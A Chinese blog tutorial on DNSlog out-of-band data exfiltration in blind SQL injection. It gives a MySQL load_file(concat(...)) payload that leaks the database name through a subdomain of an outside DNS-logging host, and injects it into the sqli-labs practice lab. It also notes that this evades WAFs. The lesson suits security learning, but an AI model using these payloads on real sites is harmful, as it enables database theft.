使用原因:

在进行盲注的时候,因为需要频繁发送访问请求,有的网站配置了waf就有可能让我们的注入受阻。所以用DNSlog外带可以减少请求并且直接回显数据,真的是绝绝子,好用到跺jiojio。

什么是DNS:

DNS(Domain Name System)就是域名系统,负责把域名转换成IP地址

什么是DNSlog:

DNSlog就是DNS的日志,DNS在域名解析的时候会留下域名和解析IP的记录

DNSlog外带原理:

DNS在解析的时候会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志获取信息。

使用步骤:

1、由于我们要用的MySQL的load_file函数发送请求,所以需要提前配置一下我们的my.ini文件。

打开my.ini文件,添加secure_file_priv参数,并且置空,然后登陆mysql查看设置,命令如下:

show variables like '%secure%'

发现成功置空。

该参数的值的含义如下:

当secure_file_priv为空,就可以读取任意文件

当secure_file_priv为特定的某个位置,那么就只能读取该位置的文件,如"D:\"

当secure_file_priv为NULL,load_file函数就不能加载文件。

2、在ceye.io注册域名进行DNSlog外带的尝试,注册完后获得域名,使用sql语句尝试访问,然后去到DNS Query那里查看请求是否接收

3、上面基本证明了DNSlog是可以显示出信息的,那么接下来就让我们看一下是怎么外带出信息的,首先我们先创造一个test库,然后进行查询,结果如下:

查询语句如下:

select load_file(concat('\\\\',(select database()),'.yxllh9.ceye.io\\abc'));

这里用concat拼接字符。

4、既然上面都行得通,那么就该思考如何用在靶场上了,其实简单的换一下注入的方式就可以了,这里我用的是sqli-lab里面的lesson1,是一个很简单的错误注入题,我们换一下注入的方式,注入代码如下:

?id=1' and (select load_file(concat('\\\\',(select database()),'.yxllh9.ceye.io\\abc')))#

这个样子当然是没有回显的,但是当我们查看DNSlog的时候就能发现我们需要的payload了。

13755d8fd1ee475f9c435f715327bc23.png 

哈哈,感觉有趣又好用,DNSlog外带yyds啊


忘了说了,还有查表名和字段名,这两点其实和之前在联合查询里面讲的基本一样,不过要注意limit一下,因为load_file只能读取一个目录

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐